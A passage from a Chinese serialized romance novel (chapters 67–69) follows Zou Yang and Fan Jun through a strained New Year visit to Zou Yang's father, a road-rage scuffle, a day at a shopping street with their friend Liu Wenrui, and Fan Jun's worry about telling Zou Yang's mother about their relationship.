邹飏踢了他一脚:“哎!” “你说你要娶樊均,让珊姐原谅你。”樊均语速很快地说完转身速度很慢地给自己倒了杯茶。 “什么……玩意儿?”邹飏是真的震惊了,自己这个程度怕不是麻醉没醒,这是中毒了啊…… 他看着樊均,好半天不知道该说些什么好。 “所以我妈就拿着这些话去问吕叔了是吧?”他躺回懒人沙发里,突然有种既尴尬又如释重负的快感。 “嗯。”樊均点头。 “然后吕叔问你了。”邹飏闭上眼睛。 “先问的吕泽,我那会儿还没醒,”樊均说,“最后是吕泽来问的我。” “我靠……这一大圈儿绕的,”邹飏忍不住笑了起来,“当众处刑啊。” 樊均跟着他笑了笑。 “也好,”邹飏啧了一声,“以后省事儿了。” “……嗯。”樊均应着。 邹飏没再说话,轻松是轻松的,但突然非常不好意思也是真的。 他把胳膊搭到眼睛上,刚才还没觉得,这会儿屋里一安静,他猛地就有些后返劲儿了,根本不敢再看樊均。 唯有装睡。 樊均不知道什么状态,总之也没有任何动静。 过了很长时间才听到他轻轻起身,躺到了旁边的床上。 又过了一会儿才出声:“你要上厕所的话,下楼梯旁边那个门就是。” 邹飏正在装睡,挺着没出声,反正他现在还不想上厕所。 这个懒人沙发还挺舒服的,躺在上头腰也能顶实了,正常情况下,他闭上眼睛十分钟之内就应该能睡着,哪怕后头会做恶梦,也不影响入睡。 但感觉已经不止十分钟了,他也没睡着。 脑子里乱七八糟的,全是各种他口出狂言时的想象。 就这么说出来了,不光说出来了,还说得这么……一点儿余地都没有。 樊均听到他说的这些话,尤其是从吕泽嘴里听到的时候,是什么感觉。 邹飏忍不住翻了个身,太尴尬了。 樊均估计也没睡着,沉默的月光下,两个人都在心知肚明地装睡。 一小时之后邹飏装不下去了,他坐了起来:“我上厕所。” “我带你去。”樊均说着也坐了起来。 “楼梯下面那个门,”邹飏站起身出了门,“我还能迷路吗?” “楼梯很陡,你慢点儿。”樊均没跟过来。 “嗯。”邹飏抓住了旁边的扶手。 从厕所出来的时候他总算感觉到了困意,回到小屋,发现樊均还坐在床上。 “你不睡吗?”邹飏问。 “我也……”樊均起身,“上厕所。” “哦。”邹飏应了一声,走到懒人沙发旁边。 “你要睡床吗?”樊均问。 “我睡这个就行,舒服。”邹飏迅速在沙发上躺好,闭上了眼睛。 樊均出去之后,他轻轻舒出一口气。 啧。 好在樊均回屋之后没多久,他就睡着了,大概是用脑过度。 早上醒的时候都不是自然醒,四周各种声音吵醒的。 窗外街上不断响起的卷帘门声,说话声,平板车拉着货经过的声音,还有楼下何川的说话声。 这环境,恐怕连樊均那样的听力都未必能睡到自然醒。 邹飏打着呵欠从楼梯上下来,何川看到他,指了指那边茶桌:“吃早饭吧,我家里做的。” “谢谢,”邹飏突然有点儿心虚,“我先……洗漱。” “放了新的,你用那个。”樊均说。 “嗯。”邹飏点头。 何川家的早饭还挺好吃的,包子和糖饼,很香,闻着就感觉自己饿了。 “给。”何川把车钥匙放在了樊均面前。 “开车?”邹飏抬头看着樊均。 “嗯,何老板的车,”樊均点头,“那边儿……有地方停吗?” “有地儿停,就停我爸车旁边,他俩车位,要是车都在就横他车头。”邹飏说。 “嗯。”樊均笑笑。 “这么嚣张。”何川看了他一眼。 就是这么嚣张,虽然在老爸面前已经撕掉了伪装,也算是出过气了,但每月一次去要钱,依然是件很不爽的事儿。 每次都会让他感觉窒息。 所以他今天就要让老爸也窒息窒息。 老爸开门之前估计就已经从猫眼里看到了樊均,打开门的第一眼,邹飏就能看到他紧皱的眉头。 “你……” “昨天说了我一早过来。”邹飏直接进了门。 “我知道。”老爸看了一眼他身后站着的樊均,似乎想说,但忍住了。 “进来。”邹飏偏过头冲樊均说了一句。 “你想干什么。”老爸压低声音。 “拜年,要钱。”邹飏笑了笑,也低声说,“你要愿意直接转钱,就没现在这麻烦了。” “叔叔过年好。”樊均进了屋。 第67章 今天家里只有老爸一个人,老婆女儿都出门了。 老爸脸色非常不好,一看就是压着火,也没像以往那样,叫他到茶室喝茶,水都没给倒一杯。 邹飏也没所谓,坐在沙发上,手里拿着刚在对街买的咖啡。 “以后过来自己一个人就行,”老爸说,“非要带人提前说一声,起码的规矩和礼貌都没有了吗。” “也不能全怪我,”邹飏喝了口咖啡,“养子不教,父之过。” 樊均转头看了他一眼。 老爸冷笑了一声:“我看教得挺好,张嘴就来,不知道这是谁教的。” “那肯定不是我妈,毕竟脑子空空,干嘛嘛不行。”邹飏说。 “你也不用跟我呛,”老爸说,“你不愿意我管你,我也不想多管,你……” “这算呛吗?”邹飏笑了,“可能我从小被拎到小区花园展览次数太多了,阈值有点儿高。” “够了,”老爸皱了皱眉,“大过年的,你是来找不痛快的吗?” “差不多……那出于起码的规矩和礼貌,现在提前跟您说一下,”邹飏喝了口咖啡,“以后我过来都是两个人。” 老爸看着他。 “认识一下,这樊均,”邹飏指了指旁边坐着的樊均,“你之前其实就见过,这我爸,邹总,按他自己谦虚的说法,做点儿书画小生意。” 老爸还是没说话,视线在他和樊均脸上扫了几轮,眼神复杂。 樊均也没出声,沉默地靠在沙发里。 “这月底我们就开学了,”邹飏按协议的要求跟老爸汇报自己的学习生活情况,“下月考教资,别的就没什么了。” “毕业打算进学校吗?”老爸转身进了茶室,转了一圈又出来了,手里拿着个红包,扔到了茶几上。 邹飏看了一眼红包,没拿也没说话。 扔这个动作无疑是故意的,但这个距离不知道是准头不够还是故意,总之邹飏想拿这个红包,得起身够一下才能拿到。 “压岁钱,”老爸说,“我说过,一直到工作之前都有,你哥你姐他们……” 樊均动了动,伸手从外套兜里拿出了一个半尺长的小圆筒,前倾过身体,用这个圆筒往红包上一点,再往回一勾,把红包扒拉到了自己面前,拿了起来。 邹飏没忍住挑了一下眉毛,都顾不上看老爸的脸色了,低声问了一句:“这什么东西?” “激光手电筒,”樊均打开开关,一个小红点落在了茶几上,“店里给人指东西的时候用的,有些放得高……” “邹飏。”老爸有些压不住火,声音都提高了一些。 “嗯。”邹飏应了一声,看向老爸。 余光里他看到樊均把红包放进了自己兜里。 感觉老爸震惊的视线都快震成波浪号了,大概是从来没见过这么没规矩的人。 邹飏知道樊均并不是个没脾气的人,但因为这种状态着实不常见,每次看到都还是会觉得很稀奇。 “工作的事要多考虑,教资考了就考了,”老爸平复了一下心情,看着他,“但这个不是唯一选择,你当初报师大我就是不同意的……” “师大是我当初最好的选择。”邹飏也看着他。 老爸沉默了几秒,结束了话题:“总之你要谨慎。” 拜年,汇报,听训,拿压岁钱,流程只差最后一步就走完了。 “会的,”邹飏说,“生活费还是微信转我吧。” 老爸盯了他一会儿,拿出了手机。 听到手机提示音一响,邹飏就站了起来:“谢谢,那我们走了。” 出门的时候老爸没有送,只是坐在椅子上,眼睛都没再看他俩。 邹飏关上门过去按了电梯之后冲樊均伸手:“多少,数了没?” “当面数不太好吧。”樊均拿出红包放到他手上。 “你都当面那么拿了,还差这一下?”邹飏先捏了捏,“比去年少了至少一半,父子情真是经不住时间啊。” “去年多少?”樊均笑了笑。 “六千。”邹飏搓开红包口子,把钱抽了出来数了数,果然,三千。 “做得这么明显,”樊均走进电梯,“都不如何川大气。” 邹飏也走进电梯,轻轻叹了口气,靠着轿厢:“花钱买孝子嘛,孝子没了,钱自然也就没了。” 樊均笑笑。 “你刚给他气着了。”邹飏勾勾嘴角。 “我不喜欢你爸。”樊均说。 “只是不喜欢吗?”邹飏问。 “我讨厌你爸。”樊均修正了一下说法。 “对,”邹飏笑了,“真诚一点儿。” 他俩刚才就把车停在了老爸那辆被砸了玻璃的车旁边,现在邹飏才有心情看了看,玻璃肯定是换了,不过似乎车上的监控也换了。 “走吧,”樊均看了一眼手机,“你跟刘文瑞约的几点?” “早呢,11点。”邹飏上了车。 “先去一趟……”樊均把手机递到他面前,“这里。” “干嘛?”邹飏看了一眼,导航上定位的地址是他和宿舍那几个逛街的必去之地,上回碰到老爸一家的商业街。 “帮何老板去他另一个店里拿点儿东西。”樊均说,“刚发给我的。” “你今天休息!”邹飏喊,“你刚还夸他呢,老板都一个德性不管大小。” “他也不急,让晚上拿回店里就行。”樊均笑笑。 “那非让你拿,叫个闪送不行吗。”邹飏系上安全带。 “闪送要钱。”樊均发动了车子。 其实今天邹飏的计划里只有来拿钱和跟刘文瑞碰个头两件事,别的时间干什么都行。 跟樊均去帮何川拿点儿东西也没所谓,到那边儿还能逛一会儿。 除了这辆破皮卡坐着不怎么舒服,别的一切都很愉快。 “你平时是不是经常也这么跑?”邹飏问。 “嗯,”樊均点头,“大件儿的东西得给人家送货。” “现在总在外面这么跑,”邹飏偏过头靠着,“适应吗?” “基本没什么问题,”樊均笑笑,“人太多太闹的话,有时候就……还是不太行,会慌。” “嗯。”邹飏应了一声,盯着他的脸。 樊均眼角下的疤跟上回在医院时看到的不太一样了,面积缩小了一些,但已经变成了颜色稍深的正式的疤,不会消失的那种。 就像樊均身上那些暗色的伤痕一样,是他一路的经历。 不过眼角这一块,是结束。 车停下等红灯的时候,樊均转过头看着他:“嗯?” “你这些疤,”邹飏伸出手,指尖在他鼻梁前停下,“我一直想认真摸一下。” “什么怪癖吗?”樊均问。 邹飏笑了笑没说话。 樊均也没说话,微微往前凑了一下,鼻梁碰到了他指尖。 邹飏指尖动了动,在鼻梁的伤疤上按实了,然后摸了摸。 “摸着跟看着……不太一样的感觉。”他说。 “嗯。”樊均看了看他的手指。 “你对眼儿了。”邹飏说。 “嗯,”樊均很快地伸出手,一直怼到了他眼前,打了个很轻的响指,“你也一样。” “靠,”邹飏笑了起来,“报复心这么强。” 樊均笑着没说话。 邹飏的手指顺着鼻梁到鼻尖,再摸到了唇上的那个疤,鼻梁的疤是略微凸起的一道,唇上这个疤却是一道凹痕。 不知道是不是因为材质……不,皮肤质地不同,唇上这道疤在指腹下的触感更清晰。 邹飏很轻地按了一下。 后面传来一声喇叭响。 邹飏吓了一跳,手指头差点儿杵进樊均嘴里。 “绿灯了。”樊均说了一声赶紧挂了档往前开。 车往前扑了一下,死火了。 后面的车喇叭又响了,这回是连续。 “什么破车还死火。”邹飏说。 “这车快跟你一样大了,”樊均重新发动了车子,一脚油门往前开了出去,“不过刚死火不怪它,我离合松快了。” “什么破车,还手动档。”邹飏说。 樊均笑了起来。 后面的车似乎被气得不轻,哔哔不停地从他们旁边超了过去,然后立马又转回他们这道。 樊均叹了口气,在这车往一往这边儿转的时候他就踩了刹车。 这个急刹没能影响到他们。 “路怒了。”邹飏说。 “刚是有一点儿可气。”樊均说。 “……是。”邹飏点头。 他们错在前,所以这辆588两次别到他们前头,他们都平静地接受了。 第三次别过来的时候邹飏就有点儿火了:“没完了啊。” 樊均换了车道,超过588往前走了。 但何川这辆车,的确是很老了,在车不算少的路上,根本甩不掉588,那车很快就又追了上来,依旧是别车。 樊均叹了口气,再一次换了车道,趁着588前头有车,迅速回到原来的车道。 这回588没机会再上来,前面红灯,它再一次在红灯前跟在了它的仇人身后。 邹飏忍不住笑了起来:“这不得气死他。” 的确很气人,588车门打开了,一个光头胖汉在后视镜里指着他们就骂骂咧咧地过来了。 “他说什么?”樊均问。 “骂人。”邹飏听了一耳朵,骂得很难听。 “那不开车窗了。”樊均说。 胖汉过来一拳锤在了驾驶室的车玻璃上,指着樊均开始连续不停地骂。 虽然听不清,但樊均能看清口型,他看了几秒钟之后,放下了车窗。 胖汉的拳头裹着一声大骂就砸了进来,对着樊均的脸去的。 “操你大爷。”邹飏骂了一声,打开了副驾的门准备下车。 “你坐着。”樊均抬手架住了胖汉的拳头。 邹飏坐了回去,手狠狠一带,车门哐一声响关上了。 在胖汉准备抽手再来一拳的时候,樊均扣住了他的手腕,拽着就往车里拉。 邹飏立马反应过来,跟着也一把抓住了他的手腕。 胖汉被抓着的是左手腕,挣了两下没挣脱,被他俩拽得肩膀卡在了车窗上,想右手再帮着给两拳都伸不进来,只能撑着车门跟他们拔河。 但因为身体前倾用不上劲,腿都蹬到车门上了也脱不了身。 前后几辆车的人都探出了脑袋看热闹,还有人拿着手机在拍。 邹飏扫了一眼灯:“倒数了。” “嗯,五秒。”樊均应了一声。 倒数还有五秒的时候,他俩同时松了手。 胖汉终于把自己拔了出去,接着一屁股坐到了地上。 后面的车开始按喇叭。 樊均关上了驾驶室的车窗,绿灯亮的时候立马开了出去,胖汉这会儿才刚站起来,后面的车喇叭已经按成了一片,后视镜里能看到胖汉一边指着他们车屁股骂一边往自己车跑。 “哎,”邹飏笑着拍了拍樊均肩膀,“这气得今儿晚上都睡不着了。” “你以后别那么冲动。”樊均说。 “我?”邹飏指着自己。 “嗯,”樊均看了他一眼,“刚是不是想下去打人。” “又不是打不过他。”邹飏说。 樊均啧了一声。 不知道是不是因为刚摔了胖汉一个屁墩儿,这会儿邹飏心情很好,听着樊均这一声啧居然感觉很可爱。 忍不住伸手往他脸上勾了一手指。 “嗯?”樊均扫了他一眼。 “没。”邹飏说着又摸了摸他唇上的疤,又反手用指背轻轻蹭了蹭,跟指腹的触感完全不同…… 几个月前,他想摸一下樊均的疤还跟做贼一样…… 樊均突然张嘴咬住了他的手指。 邹飏猛地转头,震惊得心里猛地一阵狂跳。 但下一秒樊均就又把他的手指呸了出来,目视前方。 “干嘛!”邹飏看着他。 “影响我……开车。”樊均说。 “哦。”邹飏收回手,目视前方。 目视了一会儿,他发现自己嘴角是勾着的。 啧。 有什么好笑的。 神经病。 市中心这个最繁华的商业区,何川有两个店,他们要去的那个叫“痕”,就在之前帮樊均买手链的那个商场旁的步行街。 是个首饰店,各种彩宝,有自己设计的,还有不少中古的。 店里的客人比川与陆要多,何陆正跟客人说着话,看到他俩进来,立马招了招手。 樊均走了过去。 “就这个,”何陆从柜台下面抽出一个文件袋,“何川要的资料,你晚上回店里的时候给他就行。” “嗯。”樊均点了点头。 “你们逛街吗?要逛的话走的时候再来拿。”何陆说。 “逛吗?”樊均回头看邹飏。 “逛逛呗,一会儿让刘文瑞上这边儿来跟咱们碰头。”邹飏说,他估计樊均一个人不太会逛街。 “那走的时候再过来拿吧,”何陆拿出手机点了几下,“你们一会儿在这吃饭的话,去那头新开的那家火锅,超级好吃,我发给樊均了。” “好。”樊均点头。 商业街这边儿还很有过年的气氛,各种装饰和音乐,街上热闹的人群。 邹飏看了一眼樊均。 “没事儿,”樊均说,“好着呢。” “嗯,”邹飏笑笑,拿出手机,“我跟刘文瑞说一声。” “好。”樊均点头。 邹飏边往前走边给刘文瑞发消息,不知道是不是这儿人太多,他能感觉得到樊均的胳膊一直挨着他。 【邹yang】你来购物广场这边碰头 【瑞思拜】不来接我? 【邹yang】不 【瑞思拜】你俩已经到了? 【邹yang】是 【瑞思拜】腻乎够了没,我过去会不会太亮了 正打着字,突然有电话进来,邹飏直接一点屏幕就给接了起来。 接通之后才看清是老妈的电话。 猛地就有些心虚起来。 “喂,妈?”他一开口,樊均似乎也吓了一跳,转头看着他。 “你在外面啊?”老妈应该是听到了他这边热闹的声音。 “嗯,在……逛街。”邹飏说。 “我昨天睡得早,”老妈说,“你是没回家吗?” 邹飏愣了愣,他没想到老妈昨天会突然回家,过年这阵儿小孩儿上课的多,老妈一直在南舟坪。 “……是。”他也没时间想别的回答。 “是跟……刘文瑞一块儿吗?”老妈问。 邹飏看了樊均一眼,这一瞬间他脑子很乱,相当矛盾。 他不想说跟刘文瑞在一块儿,但老妈现在这么问,其实就已经能听出来,她不希望听到什么。 而这之前,他也没跟老妈聊过这些,也不敢…… “我……”邹飏开口。 樊均手指在他眼前晃了一下,他看过去,樊均轻轻摇了摇头。 “……是跟刘文瑞在一块儿。”邹飏说。 “晚上回吗?”老妈问,“你二姨张罗聚餐呢,我说不想去了,推不掉,毕竟过年。” “回。”邹飏说。 “那你要是晚的话就直接过去饭店,就去年那个,还记得吧?”老妈说。 “嗯。”邹飏应了一声。 挂掉电话之后,他站在原地没动,感觉整个人都很沉,四周的景物都有些模糊,只能看清面前的樊均。 “珊姐说什么了?”樊均拉了他胳膊一下,把他带到了旁边一个雕像后头。 “说晚上亲戚聚餐让我去。”邹飏说。 “那去呗,挺热闹的。”樊均笑笑。 “她问我是不是跟刘文瑞在一块儿,”邹飏靠着雕像看着他,“我……” “你这会儿突然说跟我在一块儿,”樊均说,“要怎么收场啊。” 邹飏拧着眉,没说话。 “醒醒,”樊均在他耳朵边打了个响指,“去逛街。” “樊均。”邹飏看着他。 “嗯。”樊均应着。 “其实细想一下,”邹飏轻声说,“我是不是挺自私的?” “怎么可能?”樊均想也没想。 “只就这一件事儿来说。”邹飏说。 “这种事儿……”樊均沉默了一会儿,低声说,“哪怕心里不愿意,也……很难不自私吧。” 第68章 是自私的吧。 樊均看着邹飏,起码他觉得自己就是自私的。 如果不自私,一开始就不会忽略后果,任由这样的感情一点点滋生漫延,如果不自私,就不会在已经分开那么久之后,见到邹飏的第一眼时就推倒了自己所有的决定。 想要的一切都是自私的,渴望理解,期待温暖,和那些不应该的,注定会有人被伤害的亲近。 但又挣不开。 走在喧闹的步行街上,满眼的人,满耳朵的声音,但能看到的,能听到的,只有余光里的那个人。 前方的路边有一抹彩色,看到的同时,甜香味儿扑面而来。 “棉花糖。”樊均说。 “嗯。”邹飏应了一声。 “吃吗?”樊均看着摊主手里正在做的白色棉花糖。 “齁死了。”邹飏说。 “哦。”樊均笑笑。 “吃。”邹飏又说。 樊均转头看了他一眼:“齁死还吃?” “吃,我请你,”邹飏点点头,往棉花摊走过去,“你是不是没吃过。” “……嗯。”樊均看着邹飏的侧脸。 就是这种感觉,邹飏身上有他想要的一切。 怎么可能不自私。 “你小时候没吃过也正常……要什么颜色?”邹飏排队等着,“怎么后来也没去吃呢,南舟坪没有吗?” “后来就不想吃了,”樊均想了想,“也不记得自己想吃了。” 邹飏看了他一眼,笑了笑:“现在又想起来了?” “嗯,”樊均笑笑,“我就要白色的。” “两个白色的。”邹飏说完扫了码。 樊均这时才注意到价格,他压低声音:“十块一个?就那么点儿?” “白的才是十块,基础款,小的,”邹飏也小声说,“彩色的十五。” “凭什么,彩色的加了什么?”樊均说。 “色素。”邹飏说。 樊均顿了顿,笑了起来。 摊主卷棉花糖的时候,他一直盯着看,最后卷好了拿到手的时候,他忍不住感叹了一句:“还好我现在不在武馆了,这一个吕泽得让我出去跑十公里。” “趁他不在,赶紧吃。”邹飏咬了一大口。 樊均也咬了一大口,扯出了长长一条绒毛,看着很可爱。 不过的确很甜,毕竟原料就是糖,除了甜,也没有别的味儿,这会儿风还不小,边吃边走,吃完的时候手上脸上都是黏的。 “过瘾吗?”邹飏拿出一包湿纸巾,抽了一张给他。 “这么讲究,还有这个。”樊均接过湿巾。 “自打刘文瑞吃冰棍掉我裤子上以后,我出门都带。”邹飏说。 过年期间逛步行街其实不是很好的选择,感觉全城的人有一半都在这儿,每一个店里都是人,基本就是在门口看一眼人。 不过樊均看起来心情不错,甚至会给路边丑得要命的各种彩塑拍照。 邹飏拿出了手机:“樊均。” 樊均正在拍一个绿脸猴子,没听到。 “樊均!”邹飏点开相机对着樊均,喊了一嗓子。 樊均和旁边的一圈路人同时转过头看向他。 “笑!”他喊。 樊均笑了笑,镜头里有几个路人居然也同时条件反射地跟着笑了。 这随手一拍的画面突然就变得很有意思。 “再来,笑不笑都行。”邹飏转身举起手机,樊均在他身后看向镜头。 按下快门的时候,镜头里他们身后有两个女孩儿也一块儿笑着冲这边比了个V,邹飏笑着迅速地又连按了好几下。 他很喜欢这样的画面,回忆往昔时那些不会马上想起,只留在照片里的细节,还有当时的心情。 转了一圈儿,实在感觉人太多,哪怕有自己陪着,他也怕樊均会不适应,于是找了岔路转到了步行街侧面,坐在了一张长椅上。 “晒会儿太阳吧,”邹飏往椅背上一靠,仰起头,“刘文瑞估计差不多也要到了,在这儿等他。” “嗯。”樊均也跟着他一靠,仰起头。 “我那天去新新馆的时候,”邹飏闭着眼睛,“感觉还挺好的,健身的也有,练拳什么的也有,还招了两个健身教练。” “嗯,”樊均也闭着眼睛,“出事儿……之前就说还得招人,我们几个健身塑形方面都不专业。” “以后就……也不回去了吗?”邹飏问。 “应该不会再回去了,”樊均轻轻叹了口气,“手现在这个状态,要想恢复到完全跟以前一样,大概率不可能了,回去明摆了就是让吕泽照顾我。” “何川这个店,”邹飏想了想,“是正式以后就在这儿做了吗?考虑自己干点儿什么吗?” 樊均没说话,但邹飏能感觉到他的视线,于是睁开眼睛偏过头,樊均正看着他。 “怎么?”他笑笑。 “先干着吧,工作不难,没什么压力,也方便我做康复,下月还要手术,”樊均说,“要没何川给我这份工作,我现在还不知道什么情况。” “嗯,”邹飏点点头,“你如果自己想做点儿什么……” “我有钱。”樊均很快说了一句。 “我参股也不行吗?”邹飏问。 “暂时不考虑,我要当一言堂老板,”樊均说,“股东咩咩咩的影响我发挥。” “操。”咩咩股东仰头笑了半天。 其实他开口的时候就知道樊均会拒绝,只是这会儿太阳好,脑子晒化了,也没多想就说了。 在樊均的世界里,已经接受了太多的帮助和付出,吕叔一家的付出甚至是带着伤害反馈的,还有老妈……更不用说他一个学生了。 所以何川给樊均的这份工作,他才会不顾危险地去拼命做好。 何川那天说得虽然可能是有些夸张,但也肯定不是樊均说的那么轻描淡写。 晒了会儿太阳,刘文瑞的电话打了过来。 “在哪儿!” “喷泉池那个拼图店旁边的岔路转过来就能看到我们了。”邹飏说。 “我去喷泉池那儿比取经还远,你们能不能往北口停车场这边挪动一下迎一迎我!”刘文瑞说。 “不能,晒太阳呢不想动,吃饭就在这儿,”邹飏闭着眼睛,“你锻炼一下吧,一个寒假都生活在床上,也沾点儿地气。” “狗东西!”刘文瑞挂了电话。 十分钟之后他的声音从左边远远传来:“狗东西!” 邹飏转过头,看到刘文瑞拎着个红色纸袋大步而来,他拍了拍樊均的肩:“刘文瑞来了。” “嗯?”樊均赶紧睁开眼睛,转头看了看,冲刘文瑞招了招手,站了起来,“过年好啊。” “给我带什么了?”邹飏说,“你家吃不完的年货吗?” “滚,给樊均的,过年好,”刘文瑞把纸袋递给了樊均,“补身体的,不过的确是我家的年货。” “我伤得也不轻啊,你怎么没给我补补?”邹飏抢过纸袋看了一眼,居然是一盒燕窝,“我靠,你疯了啊?你妈知道你偷东西出来送人吗?” “你说话注意点儿啊,”刘文瑞瞪着他,“这个我家真没人吃,太麻烦了。” “樊均就不怕麻烦了?”邹飏说完想起来樊均之前厨房里那一堆精致的餐具,“他可能真不怕。” “谢谢,”樊均也有些意外,“这个是不是有点儿……” “都白来的,你就白吃吧没事儿。”刘文瑞说。 “虽然大过年的,但是你骂人我没准儿还是会揍你的啊。”樊均说。 “你能揍人了吗?”刘文瑞握了握他左手,“胳膊好了?” “还没。”樊均说。 “那打我麻烦用左手。”刘文瑞说。 樊均有些无语地笑了起来。 “逛逛吗?”邹飏问。 “你俩逛了吗?”刘文瑞看着他,眼神里有十万个八卦宝宝在跳舞。 “逛了一会儿,人太多了,”邹飏说,“你……” “那去饭店,这儿的店你去晚了排到晚上也吃不上。”刘文瑞说。 “那个店在哪儿?”邹飏看樊均。 樊均拿出何陆给他的卡片看了看,手抬起来转了半圈儿然后一指:“那边儿,大概过去两条步行街……” “那不就是我过来的方向!”刘文瑞喊了起来,“谁告诉我是在这边儿吃饭所以不过去迎接我的!” “走。”邹飏一挥手。 “操。”刘文瑞很悲愤。 其实也不算远,走了没两分钟就到了,就是得等号,好在等的人不算多。 “和好了?”刘文瑞在门口的椅子上挨着邹飏坐下,借着伸懒腰的机会在他耳边小声问了一句。 “嗯。”邹飏应了一声看了看坐在对面椅子上的樊均,“他能看懂口型。” “日。”刘文瑞偏开了头。 樊均笑了笑。 “樊哥,”刘文瑞往他那边儿凑了凑,“枪伤现在什么样?” “什么什么样?”樊均也往前凑了凑。 “就是……”刘文瑞在自己胸口上比划了一下,“什么样的图案?” “神经病吧你。”邹飏说。 “就……”樊均不知道该怎么回答,“跟七星伴月似的。” “我靠这么酷吗?”刘文瑞震惊了,过了一会儿他招了招手,“看看七星伴月。” “滚蛋。”樊均说着靠回了椅子上。 刘文瑞对经历过“枪战”的樊均的兴趣远超八卦,排号到他们,进饭店在一个卡座上坐下之后,他又拿出了手机,递给了邹飏:“给我录一下。” “录什么?”邹飏脱了一半外套,接过手机。 “掰个手腕,”刘文瑞脱掉外套往旁边一甩,撸了撸袖子,“我跟樊均,你录一下。” “左手是吗?”樊均看着他。 “对,”刘文瑞点了点头,“这是我战胜你的唯一机会,不能错过。” “……你知道伤没好的意思吗?”邹飏说。 “没事儿。”樊均笑了笑,脱掉外套,把左手架到了桌上。 “录。”刘文瑞指了指邹飏手上的手机。 邹飏只好打开视频,点了录制。 刘文瑞坐好,架好胳膊,握住了樊均的左手:“预备……” 邹飏看着视频里的樊均,看上去心情挺好的样子,嘴角带着笑。 “开!”刘文瑞下达了指令,然后跟着就开始发力。 几秒钟之后,虽然速度不算秒杀,但樊均的左手还是被他压在了桌上。 “不是吧?”刘文瑞愣了,看着樊均。 “是。”樊均笑笑。 “我操。”刘文瑞转过头看着邹飏。 “说了还在复健,没恢复好。”邹飏把镜头对着刘文的脸。 “我操,”刘文瑞又转头看向樊均,声音都颤了,“这么严重吗?” “现在正常生活可以的,”樊均看着他,“你……” 刘文瑞再转过头来的时候,邹飏发现他眼睛居然红了,吓了一跳,赶紧关了视频:“怎么了这是?” 樊均把桌上的纸巾盒推了过来。 “他家纸巾收费的。”刘文瑞把纸巾盒又推开了。 “来来来,”邹飏赶紧从包里摸了包纸巾出来递给他,“这个免费的。” 刘文瑞抽了张纸巾擦了擦眼睛,又吸了口气,慢慢呼出来,然后才伸手从邹飏手里拿走了手机:“我看看我战况,一会儿剪的时候得把我后头哭的那点儿截掉……” 邹飏叹了口气,看了一眼樊均。 樊均笑了笑,心情还挺好的。 虽然输给了刘文瑞这种菜鸡,但莫名有种轻松的感觉。 “今天不A吧,我请客。”樊均拿出手机扫了码。 “行。”刘文瑞点头。 还没看清菜单,何川的电话打了进来,他接起了电话。 “李老板那边确定了时间了啊,”何川说,“下周二你过去一趟。” “确定就我自己过去是吧?”樊均问。 “你去就行,主要看看他那几个罐子,还有几块石雕,”何川说,“别的到现场有入眼的再说。” “行。”樊均说。 “去哪儿?”邹飏问。 “去帮何川看货,”樊均说,“他不想跑了。” “远吗?”邹飏又问。 “两天来回,住一夜,”樊均说,“不算远。” “你一个人吗?”邹飏立马打开手机看了看时间,“哪天啊?我也想去。” “嗯?”樊均愣了愣。 “他反正闲的,”刘文瑞看着自己手机上的掰手腕视频,“带他一个吧,没几天开学了没得玩了。” “那你要……告诉珊姐吗?”樊均问。 刘文瑞放下了手机,转头看着邹飏。 “嗯,我找个时间跟她说。”邹飏看着他。 刘文瑞张了张嘴,但没说出话来,低头又看视频去了。 樊均也没说话,感觉刘文瑞应该也是听出来了,邹飏这话听着不像是简单地说一句要出门两天的意思。 邹飏从刚才接完珊姐电话,整个人就有些沉默,刘文瑞来了他情绪才起来了一些,估计一直在琢磨。 那些不清醒状态下说出的话,邹飏想要去面对了。 吃完饭已经下午三点了,邹飏拉了刘文瑞一块儿去参加亲戚聚会。 “你一会儿回店里吗?”邹飏问樊均。 “回一趟南舟坪,”樊均说,“看看吕叔。” “嗯。”邹飏点点头,“那我……晚上给你发消息吧。” “好。”樊均笑笑。 “那我……走了啊。”邹飏往刘文瑞车那边退着走了两步。 刘文瑞按了一下喇叭。 他回手竖了个中指。 “走吧。”樊均笑着说。 “明天要有时间,我把大黑带去你那儿。”邹飏边退边说。 “嗯。”樊均点头。 看着刘文瑞的车开走,他才转身往自己停车的位置走过去。 今天本来没打算回南舟坪,是想着下周出差回来之后再过去,但邹飏似乎突然动了心思…… 他拿出手机,给吕叔打了个电话。 “均儿?”吕叔接起电话,那边同时传过来的还有一帮小孩儿的喊声。 “叔,一会儿我过去,”樊均说,“吃晚饭。” “今天休息吗?”吕叔的声音立马愉快起来,“那正好,吕泽今天也回来吃饭,咱们爷仨一块儿。” “嗯。”樊均上了车。 回到旧馆的时候,吕泽还没到,吕叔刚从训练馆里走出来。 樊均迅速闪进厨房里,怕那帮小孩儿看到他就冲出来。 “有事儿?”吕叔一看他这样子,立马跟进来,问了一句。 “……嗯。”樊均应了一声,坐到了桌子旁边。 “怎么了?”吕叔凑了过来。 “今天……”樊均犹豫着,“我跟邹飏出去了。” 吕叔愣了愣:“他去找你了?他怎么知道你在哪儿的?” “他找吕泽了。”樊均说。 “这个不靠谱的!”吕叔皱起了眉。 “不是不是不是,”樊均赶紧说,“是……我想问问,珊姐最近有没有……跟你聊过这事儿。” 有些尴尬。 “你和……邹飏吗?”吕叔也尴尬起来。 “嗯。”樊均点点头。 “没提过,”吕叔看着他,“怎么,你……你是不是……你俩……” “我想跟珊姐聊聊。”樊均说。 “什么?”吕叔愣了愣。 “就是……跟她聊聊。”樊均说。 吕叔还是愣着,瞪着他看了好半天才问了一句:“你俩是不是还没断?” “嗯。”樊均声音很低。 “你怎么回事儿!”吕叔压着声音。 樊均没说话。 “你想跟珊姐说什么?”吕叔说,“你想说什么?” “不知道,”樊均声音还是很低,“还没想好,我就是怕邹飏会先找她,怕我劝不住他……那不如我去说,珊姐如果生气,起码不会先怪他……” 第69章 红灯亮了。 谨慎的本地偷车司机刘文瑞终于找到了说话的契机。 “我先问你两个问题啊,你给我确认一下。”他转头看着邹飏。 “嗯,”邹飏扫了他一眼,“赶上绿波,憋一路了吧。” “你一会儿不会在你们家亲戚聚会上发疯吧,”刘文瑞问,“宣布你找了个男朋友什么的。” “然后说男朋友是你吗?”邹飏问。 “正经问的!回答我!”刘文瑞喊。 “我疯了吗我跟八杆子打不着的人来这一出!”邹飏也喊了一嗓子。 “那就行,”刘文瑞点点头,想想又补了一句,“八杆子也还是打得着的,那都是你舅舅姨妈们,都用不着八杆子。” “赶紧的,还有什么。”邹飏说。 “你跟樊均你俩确定了吗?”刘文瑞问。 “确定什么?”邹飏愣了愣。 